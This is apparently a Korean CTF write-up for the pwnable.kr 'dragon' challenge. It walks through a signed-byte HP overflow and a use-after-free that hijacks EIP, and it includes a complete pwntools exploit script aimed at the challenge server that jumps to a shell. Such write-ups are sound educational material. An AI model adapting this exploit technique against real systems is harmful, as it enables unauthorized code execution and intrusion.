Pwnstar

Pwnable.kr dragon 본문

Pwnable.kr/Rookiss

Pwnable.kr dragon

포너블처돌이 2020. 6. 16. 23:46

루키스 문제들 복습할 겸 해서 얼른얼른 라이트업을 써 놔야겠다.

 

 

게임과 같은 형태로 되어있다 IDA로 보면

 

이렇게 단순하게 되어있고 PlayGame 함수는

요래 되어있다. 이 문제가 정말 친절한게

 

secretlevel이라고 쉘따는 부분까지 친절하게 준다.

 

뭐 이 부분으로 뛰면 될 것 같고,

 

우선 본론으로 가서 취약점은 엄마 드래곤의 체력에서 발생한다.

 

이 부분을 보면 v5는 바이트형이다. 그래서 범위가 -128 ~ 127까지 인데 우리는 프리스트가 공격하는 부분을 보면

드래곤이 스스로 피를 회복하는 것을 알 수 있다. 그러니까 우리는 holyshield스킬을 이용해서 살아남고 clarity 스킬을 이용해서 부족한 마나를 가끔 채워주면 용이 스스로 피를 회복하다가 127을 넘는 순간 용을 잡을 수 있을 것이다.

 

테스트를 해 보자.

 

정말 용을 잡는 데에 성공했고 잡은 사람 이름을 입력하는 부분이 나온다. 

이 부분에서 uaf 취약점이 자연스레 발생하게 되는데, 그 이유는 이렇다.

 

 

프리스트의 데이터를

이 부분에서 0x10만큼 할당해서 사용하고 free한 후 데이터를 지우지 않은 채 재사용하게 되면서 uaf 취약점이 발생한다.

 

그래서 이 부분에서 v2에 malloc하고 우리가 입력받은 값을 넣게 되는데 이 부분은 사실 v5에 들어갈 것이다.

즉, 우리가 용을 잡고 입력한 4바이트의 값으로 eip가 덮이게 된다.

 

정말 그런지 한번 볼까??

BBBB를 입력하니 코어파일이 생겼고,

 

그 파일을 보니

역시 예상이 맞았다

이 부분은 당연히 

 

 

굳이 secretlevel까지 갈 필요도 없이 저 부분으로 뛰면 될 것이다.

 

페이로드를 짜 보자.

from pwn import*

shell = 0x08048dbf
context.log_level = 'debug'
#p = process("./dragon")
p = remote("pwnable.kr", 9004)

for i in range(0, 4):
    p.recvuntil("\n")
    p.sendline("1")

for i in range(0, 4):
    p.recvuntil("\n")
    p.sendline("3")
    p.sendline("3")
    p.sendline("2")

p.recvuntil("\n")
payload = p32(shell)
p.sendline(payload)

p.interactive()

 

자 이렇게 짜고 돌려보면

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr fsb  (0) 2020.06.25
Pwnable.kr tiny_easy  (0) 2020.06.25
Pwnable.kr ascii_easy  (0) 2020.06.16
Pwnable.kr md5 calulator  (0) 2020.06.16
Pwnable.kr simple login  (0) 2020.06.10
Comments